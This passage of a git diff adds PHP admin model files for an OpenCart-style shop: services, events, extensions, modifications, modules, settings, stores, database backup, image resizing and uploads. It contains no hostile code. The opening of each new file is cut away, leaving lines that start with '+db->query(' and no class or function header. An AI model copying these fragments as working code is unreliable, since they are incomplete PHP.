+ }
+
+ public function getServices($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "service p LEFT JOIN " . DB_PREFIX . "service_description pd ON (p.service_id = pd.service_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && !is_null($data['filter_noindex'])) {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $sql .= " GROUP BY p.service_id";
+
+ $sort_data = array(
+ 'pd.name',
+ 'p.status',
+ 'p.noindex',
+ 'p.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY pd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getServiceDescriptions($service_id) {
+ $service_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_description WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword']
+ );
+ }
+
+ return $service_description_data;
+ }
+
+ public function getServiceImages($service_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_image WHERE service_id = '" . (int)$service_id . "' ORDER BY sort_order ASC");
+
+ return $query->rows;
+ }
+
+ public function getServiceDownloads($service_id) {
+ $service_download_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_to_download WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_download_data[] = $result['download_id'];
+ }
+
+ return $service_download_data;
+ }
+
+ public function getServiceStores($service_id) {
+ $service_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_to_store WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_store_data[] = $result['store_id'];
+ }
+
+ return $service_store_data;
+ }
+
+ public function getServiceSeoUrls($service_id) {
+ $service_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'service_id=" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $service_seo_url_data;
+ }
+
+ public function getServiceLayouts($service_id) {
+ $service_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_to_layout WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $service_layout_data;
+ }
+
+ public function getServiceRelated($service_id) {
+ $service_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_related_data[] = $result['related_id'];
+ }
+
+ return $service_related_data;
+ }
+
+ public function getProductRelated($service_id) {
+ $service_related_product = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_related_product[] = $result['product_id'];
+ }
+
+ return $service_related_product;
+ }
+
+ public function getTotalServices($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT p.service_id) AS total FROM " . DB_PREFIX . "service p LEFT JOIN " . DB_PREFIX . "service_description pd ON (p.service_id = pd.service_id)";
+
+ $sql .= " WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && $data['filter_noindex'] !== null) {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalServicesByDownloadId($download_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "service_to_download WHERE download_id = '" . (int)$download_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalServicesByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "service_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/setting/event.php b/public/admin/model/setting/event.php
new file mode 100644
index 0000000..6e76425
--- /dev/null
+++ b/public/admin/model/setting/event.php
@@ -0,0 +1,88 @@
+db->query("INSERT INTO `" . DB_PREFIX . "event` SET `code` = '" . $this->db->escape($code) . "', `trigger` = '" . $this->db->escape($trigger) . "', `action` = '" . $this->db->escape($action) . "', `sort_order` = '" . (int)$sort_order . "', `status` = '" . (int)$status . "'");
+
+ return $this->db->getLastId();
+ }
+
+ public function deleteEvent($event_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "event` WHERE `event_id` = '" . (int)$event_id . "'");
+ }
+
+ public function deleteEventByCode($code) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "event` WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function enableEvent($event_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "event` SET `status` = '1' WHERE event_id = '" . (int)$event_id . "'");
+ }
+
+ public function disableEvent($event_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "event` SET `status` = '0' WHERE event_id = '" . (int)$event_id . "'");
+ }
+
+ public function uninstall($type, $code) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "extension` WHERE `type` = '" . $this->db->escape($type) . "' AND `code` = '" . $this->db->escape($code) . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "setting` WHERE `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function getEvent($event_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "event` WHERE `event_id` = '" . (int)$event_id . "' LIMIT 1");
+
+ return $query->row;
+ }
+
+ public function getEventByCode($code) {
+ $query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "event` WHERE `code` = '" . $this->db->escape($code) . "' LIMIT 1");
+
+ return $query->row;
+ }
+
+ public function getEvents($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "event`";
+
+ $sort_data = array(
+ 'code',
+ 'trigger',
+ 'action',
+ 'sort_order',
+ 'status',
+ 'date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY `" . $data['sort'] . "`";
+ } else {
+ $sql .= " ORDER BY `sort_order`";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalEvents() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "event`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/setting/extension.php b/public/admin/model/setting/extension.php
new file mode 100644
index 0000000..4c42f0e
--- /dev/null
+++ b/public/admin/model/setting/extension.php
@@ -0,0 +1,77 @@
+db->query("SELECT * FROM `" . DB_PREFIX . "extension` WHERE `type` = '" . $this->db->escape($type) . "' ORDER BY `code`");
+
+ foreach ($query->rows as $result) {
+ $extension_data[] = $result['code'];
+ }
+
+ return $extension_data;
+ }
+
+ public function install($type, $code) {
+ $extensions = $this->getInstalled($type);
+
+ if (!in_array($code, $extensions)) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "extension` SET `type` = '" . $this->db->escape($type) . "', `code` = '" . $this->db->escape($code) . "'");
+ }
+ }
+
+ public function uninstall($type, $code) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "extension` WHERE `type` = '" . $this->db->escape($type) . "' AND `code` = '" . $this->db->escape($code) . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "setting` WHERE `code` = '" . $this->db->escape($type . '_' . $code) . "'");
+ }
+
+ public function addExtensionInstall($filename, $extension_download_id = 0) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "extension_install` SET `filename` = '" . $this->db->escape($filename) . "', `extension_download_id` = '" . (int)$extension_download_id . "', `date_added` = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function deleteExtensionInstall($extension_install_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "extension_install` WHERE `extension_install_id` = '" . (int)$extension_install_id . "'");
+ }
+
+ public function getExtensionInstalls($start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "extension_install` ORDER BY date_added ASC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getExtensionInstallByExtensionDownloadId($extension_download_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "extension_install` WHERE `extension_download_id` = '" . (int)$extension_download_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTotalExtensionInstalls() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "extension_install`");
+
+ return $query->row['total'];
+ }
+
+ public function addExtensionPath($extension_install_id, $path) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "extension_path` SET `extension_install_id` = '" . (int)$extension_install_id . "', `path` = '" . $this->db->escape($path) . "', `date_added` = NOW()");
+ }
+
+ public function deleteExtensionPath($extension_path_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "extension_path` WHERE `extension_path_id` = '" . (int)$extension_path_id . "'");
+ }
+
+ public function getExtensionPathsByExtensionInstallId($extension_install_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "extension_path` WHERE `extension_install_id` = '" . (int)$extension_install_id . "' ORDER BY `date_added` ASC");
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/setting/modification.php b/public/admin/model/setting/modification.php
new file mode 100644
index 0000000..863d6f2
--- /dev/null
+++ b/public/admin/model/setting/modification.php
@@ -0,0 +1,114 @@
+db->query("INSERT INTO `" . DB_PREFIX . "modification` SET `extension_install_id` = '" . (int)$data['extension_install_id'] . "', `name` = '" . $this->db->escape($data['name']) . "', `code` = '" . $this->db->escape($data['code']) . "', `author` = '" . $this->db->escape($data['author']) . "', `version` = '" . $this->db->escape($data['version']) . "', `link` = '" . $this->db->escape($data['link']) . "', `xml` = '" . $this->db->escape($data['xml']) . "', `status` = '" . (int)$data['status'] . "', `date_added` = NOW()");
+ return $this->db->getLastId();
+ }
+
+ public function addModificationBackup($modification_id, $data) {
+ $xml = html_entity_decode($data['xml']);
+ $this->db->query("INSERT INTO " . DB_PREFIX . "modification_backup SET modification_id = '" . (int)$modification_id . "', code = '" . $this->db->escape($data['code']) . "', xml = '" . $this->db->escape($xml) . "', date_added = NOW()");
+ }
+
+ public function editModification($modification_id, $data) {
+ $xml = html_entity_decode($data['xml']);
+ $name = html_entity_decode($data['name']);
+ $this->db->query("UPDATE " . DB_PREFIX . "modification SET xml = '" . $this->db->escape($xml) . "', name = '" . $this->db->escape($name) . "', `code` = '" . $this->db->escape($data['code']) . "', `author` = '" . $this->db->escape($data['author']) . "', `version` = '" . $this->db->escape($data['version']) . "', `link` = '" . $this->db->escape($data['link']) . "' WHERE modification_id = '" . (int)$modification_id . "'");
+ }
+
+ public function setModificationRestore($modification_id, $xml) {
+ $this->db->query("UPDATE " . DB_PREFIX . "modification SET xml = '" . $this->db->escape($xml) . "' WHERE modification_id = '" . (int)$modification_id . "'");
+ }
+
+ public function deleteModification($modification_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "modification` WHERE `modification_id` = '" . (int)$modification_id . "'");
+ }
+
+ public function deleteModificationBackups($modification_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "modification_backup WHERE modification_id = '" . (int)$modification_id . "'");
+ }
+
+ public function deleteModificationsByExtensionInstallId($extension_install_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "modification` WHERE `extension_install_id` = '" . (int)$extension_install_id . "'");
+ }
+
+ public function enableModification($modification_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "modification` SET `status` = '1' WHERE `modification_id` = '" . (int)$modification_id . "'");
+ }
+
+ public function disableModification($modification_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "modification` SET `status` = '0' WHERE `modification_id` = '" . (int)$modification_id . "'");
+ }
+
+ public function getModification($modification_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "modification` WHERE `modification_id` = '" . (int)$modification_id . "'");
+
+ return $query->row;
+ }
+
+ public function getModifications($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "modification`";
+
+ $sort_data = array(
+ 'name',
+ 'author',
+ 'version',
+ 'status',
+ 'date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getModificationBackups($modification_id) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "modification_backup WHERE modification_id = '" . (int)$modification_id . "' ORDER BY date_added DESC";
+ $query = $this->db->query($sql);
+ return $query->rows;
+ }
+
+ public function getModificationBackup($modification_id, $backup_id) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "modification_backup WHERE modification_id = '" . (int)$modification_id . "' AND backup_id = '" . (int)$backup_id . "' ORDER BY date_added DESC";
+ $query = $this->db->query($sql);
+ return $query->row;
+ }
+
+ public function getTotalModifications() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "modification`");
+
+ return $query->row['total'];
+ }
+
+ public function getModificationByCode($code) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "modification` WHERE `code` = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/setting/module.php b/public/admin/model/setting/module.php
new file mode 100644
index 0000000..c05b53a
--- /dev/null
+++ b/public/admin/model/setting/module.php
@@ -0,0 +1,42 @@
+db->query("INSERT INTO `" . DB_PREFIX . "module` SET `name` = '" . $this->db->escape($data['name']) . "', `code` = '" . $this->db->escape($code) . "', `setting` = '" . $this->db->escape(json_encode($data)) . "'");
+ }
+
+ public function editModule($module_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "module` SET `name` = '" . $this->db->escape($data['name']) . "', `setting` = '" . $this->db->escape(json_encode($data)) . "' WHERE `module_id` = '" . (int)$module_id . "'");
+ }
+
+ public function deleteModule($module_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "module` WHERE `module_id` = '" . (int)$module_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "layout_module` WHERE `code` LIKE '%." . (int)$module_id . "'");
+ }
+
+ public function getModule($module_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "module` WHERE `module_id` = '" . (int)$module_id . "'");
+
+ if ($query->row) {
+ return json_decode($query->row['setting'], true);
+ } else {
+ return array();
+ }
+ }
+
+ public function getModules() {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "module` ORDER BY `code`");
+
+ return $query->rows;
+ }
+
+ public function getModulesByCode($code) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "module` WHERE `code` = '" . $this->db->escape($code) . "' ORDER BY `name`");
+
+ return $query->rows;
+ }
+
+ public function deleteModulesByCode($code) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "module` WHERE `code` = '" . $this->db->escape($code) . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "layout_module` WHERE `code` LIKE '" . $this->db->escape($code) . "' OR `code` LIKE '" . $this->db->escape($code . '.%') . "'");
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/setting/setting.php b/public/admin/model/setting/setting.php
new file mode 100644
index 0000000..613b621
--- /dev/null
+++ b/public/admin/model/setting/setting.php
@@ -0,0 +1,54 @@
+db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '" . (int)$store_id . "' AND `code` = '" . $this->db->escape($code) . "'");
+
+ foreach ($query->rows as $result) {
+ if (!$result['serialized']) {
+ $setting_data[$result['key']] = $result['value'];
+ } else {
+ $setting_data[$result['key']] = json_decode($result['value'], true);
+ }
+ }
+
+ return $setting_data;
+ }
+
+ public function editSetting($code, $data, $store_id = 0) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "setting` WHERE store_id = '" . (int)$store_id . "' AND `code` = '" . $this->db->escape($code) . "'");
+
+ foreach ($data as $key => $value) {
+ if (substr($key, 0, strlen($code)) == $code) {
+ if (!is_array($value)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "setting SET store_id = '" . (int)$store_id . "', `code` = '" . $this->db->escape($code) . "', `key` = '" . $this->db->escape($key) . "', `value` = '" . $this->db->escape($value) . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "setting SET store_id = '" . (int)$store_id . "', `code` = '" . $this->db->escape($code) . "', `key` = '" . $this->db->escape($key) . "', `value` = '" . $this->db->escape(json_encode($value, true)) . "', serialized = '1'");
+ }
+ }
+ }
+ }
+
+ public function deleteSetting($code, $store_id = 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "setting WHERE store_id = '" . (int)$store_id . "' AND `code` = '" . $this->db->escape($code) . "'");
+ }
+
+ public function getSettingValue($key, $store_id = 0) {
+ $query = $this->db->query("SELECT value FROM " . DB_PREFIX . "setting WHERE store_id = '" . (int)$store_id . "' AND `key` = '" . $this->db->escape($key) . "'");
+
+ if ($query->num_rows) {
+ return $query->row['value'];
+ } else {
+ return null;
+ }
+ }
+
+ public function editSettingValue($code = '', $key = '', $value = '', $store_id = 0) {
+ if (!is_array($value)) {
+ $this->db->query("UPDATE " . DB_PREFIX . "setting SET `value` = '" . $this->db->escape($value) . "', serialized = '0' WHERE `code` = '" . $this->db->escape($code) . "' AND `key` = '" . $this->db->escape($key) . "' AND store_id = '" . (int)$store_id . "'");
+ } else {
+ $this->db->query("UPDATE " . DB_PREFIX . "setting SET `value` = '" . $this->db->escape(json_encode($value)) . "', serialized = '1' WHERE `code` = '" . $this->db->escape($code) . "' AND `key` = '" . $this->db->escape($key) . "' AND store_id = '" . (int)$store_id . "'");
+ }
+ }
+}
diff --git a/public/admin/model/setting/store.php b/public/admin/model/setting/store.php
new file mode 100644
index 0000000..684b80c
--- /dev/null
+++ b/public/admin/model/setting/store.php
@@ -0,0 +1,114 @@
+db->query("INSERT INTO " . DB_PREFIX . "store SET name = '" . $this->db->escape($data['config_name']) . "', `url` = '" . $this->db->escape($data['config_url']) . "', `ssl` = '" . $this->db->escape($data['config_ssl']) . "'");
+
+ $store_id = $this->db->getLastId();
+
+ // Layout Route
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "layout_route WHERE store_id = '0'");
+
+ foreach ($query->rows as $layout_route) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_route SET layout_id = '" . (int)$layout_route['layout_id'] . "', route = '" . $this->db->escape($layout_route['route']) . "', store_id = '" . (int)$store_id . "'");
+ }
+
+ $this->cache->delete('store');
+
+ return $store_id;
+ }
+
+ public function editStore($store_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "store SET name = '" . $this->db->escape($data['config_name']) . "', `url` = '" . $this->db->escape($data['config_url']) . "', `ssl` = '" . $this->db->escape($data['config_ssl']) . "' WHERE store_id = '" . (int)$store_id . "'");
+
+ $this->cache->delete('store');
+ }
+
+ public function deleteStore($store_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "information_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_route WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "manufacturer_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_store WHERE store_id = '" . (int)$store_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "store WHERE store_id = '" . (int)$store_id . "'");
+
+ $this->cache->delete('store');
+ }
+
+ public function getStore($store_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "store WHERE store_id = '" . (int)$store_id . "'");
+
+ return $query->row;
+ }
+
+ public function getStores($data = array()) {
+ $store_data = $this->cache->get('store');
+
+ if (!$store_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "store ORDER BY url");
+
+ $store_data = $query->rows;
+
+ $this->cache->set('store', $store_data);
+ }
+
+ return $store_data;
+ }
+
+ public function getTotalStores() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "store");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_layout_id' AND `value` = '" . (int)$layout_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByLanguage($language) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_language' AND `value` = '" . $this->db->escape($language) . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByCurrency($currency) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_currency' AND `value` = '" . $this->db->escape($currency) . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByCountryId($country_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_country_id' AND `value` = '" . (int)$country_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByZoneId($zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_zone_id' AND `value` = '" . (int)$zone_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByCustomerGroupId($customer_group_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_customer_group_id' AND `value` = '" . (int)$customer_group_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalStoresByInformationId($information_id) {
+ $account_query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_account_id' AND `value` = '" . (int)$information_id . "' AND store_id != '0'");
+
+ $checkout_query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_checkout_id' AND `value` = '" . (int)$information_id . "' AND store_id != '0'");
+
+ return ($account_query->row['total'] + $checkout_query->row['total']);
+ }
+
+ public function getTotalStoresByOrderStatusId($order_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "setting WHERE `key` = 'config_order_status_id' AND `value` = '" . (int)$order_status_id . "' AND store_id != '0'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/tool/backup.php b/public/admin/model/tool/backup.php
new file mode 100644
index 0000000..9fa5f05
--- /dev/null
+++ b/public/admin/model/tool/backup.php
@@ -0,0 +1,67 @@
+db->query("SHOW TABLES FROM `" . DB_DATABASE . "`");
+
+ foreach ($query->rows as $result) {
+ $table = reset($result);
+ if ($table && utf8_substr($table, 0, strlen(DB_PREFIX)) == DB_PREFIX) {
+ $table_data[] = $table;
+ }
+ }
+
+ return $table_data;
+ }
+
+ public function backup($tables) {
+ $output = '';
+
+ foreach ($tables as $table) {
+ if (DB_PREFIX) {
+ if (strpos($table, DB_PREFIX) === false) {
+ $status = false;
+ } else {
+ $status = true;
+ }
+ } else {
+ $status = true;
+ }
+
+ if ($status) {
+ $output .= 'TRUNCATE TABLE `' . $table . '`;' . "\n\n";
+
+ $query = $this->db->query("SELECT * FROM `" . $table . "`");
+
+ foreach ($query->rows as $result) {
+ $fields = '';
+
+ foreach (array_keys($result) as $value) {
+ $fields .= '`' . $value . '`, ';
+ }
+
+ $values = '';
+
+ foreach (array_values($result) as $value) {
+ $value = str_replace(array("\x00", "\x0a", "\x0d", "\x1a"), array('\0', '\n', '\r', '\Z'), $value);
+ $value = str_replace(array("\n", "\r", "\t"), array('\n', '\r', '\t'), $value);
+ $value = str_replace('\\', '\\\\', $value);
+ $value = str_replace('\'', '\\\'', $value);
+ $value = str_replace('\\\n', '\n', $value);
+ $value = str_replace('\\\r', '\r', $value);
+ $value = str_replace('\\\t', '\t', $value);
+
+ $values .= '\'' . $value . '\', ';
+ }
+
+ $output .= 'INSERT INTO `' . $table . '` (' . preg_replace('/, $/', '', $fields) . ') VALUES (' . preg_replace('/, $/', '', $values) . ');' . "\n";
+ }
+
+ $output .= "\n\n";
+ }
+ }
+
+ return $output;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/tool/image.php b/public/admin/model/tool/image.php
new file mode 100644
index 0000000..5a3c536
--- /dev/null
+++ b/public/admin/model/tool/image.php
@@ -0,0 +1,47 @@
+ filemtime(DIR_IMAGE . $image_new))) {
+ list($width_orig, $height_orig, $image_type) = getimagesize(DIR_IMAGE . $image_old);
+
+ if (!in_array($image_type, array(IMAGETYPE_PNG, IMAGETYPE_JPEG, IMAGETYPE_GIF))) {
+ return DIR_IMAGE . $image_old;
+ }
+
+ $path = '';
+
+ $directories = explode('/', dirname($image_new));
+
+ foreach ($directories as $directory) {
+ $path = $path . '/' . $directory;
+
+ if (!is_dir(DIR_IMAGE . $path)) {
+ @mkdir(DIR_IMAGE . $path, 0777);
+ }
+ }
+
+ if ($width_orig != $width || $height_orig != $height) {
+ $image = new Image(DIR_IMAGE . $image_old);
+ $image->resize($width, $height);
+ $image->save(DIR_IMAGE . $image_new);
+ } else {
+ copy(DIR_IMAGE . $image_old, DIR_IMAGE . $image_new);
+ }
+ }
+
+ if ($this->request->server['HTTPS']) {
+ return HTTPS_CATALOG . 'image/' . $image_new;
+ } else {
+ return HTTP_CATALOG . 'image/' . $image_new;
+ }
+ }
+}
diff --git a/public/admin/model/tool/upload.php b/public/admin/model/tool/upload.php
new file mode 100644
index 0000000..3e77a9e
--- /dev/null
+++ b/public/admin/model/tool/upload.php
@@ -0,0 +1,108 @@
+db->query("INSERT INTO `" . DB_PREFIX . "upload` SET `name` = '" . $this->db->escape($name) . "', `filename` = '" . $this->db->escape($filename) . "', `code` = '" . $this->db->escape($code) . "', `date_added` = NOW()");
+
+ return $code;
+ }
+
+ public function deleteUpload($upload_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "upload WHERE upload_id = '" . (int)$upload_id . "'");
+ }
+
+ public function getUpload($upload_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "upload` WHERE upload_id = '" . (int)$upload_id . "'");
+
+ return $query->row;
+ }
+
+ public function getUploadByCode($code) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "upload WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getUploads($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "upload";
+
+ $implode = array();
+
+ if (!empty($data['filter_name'])) {
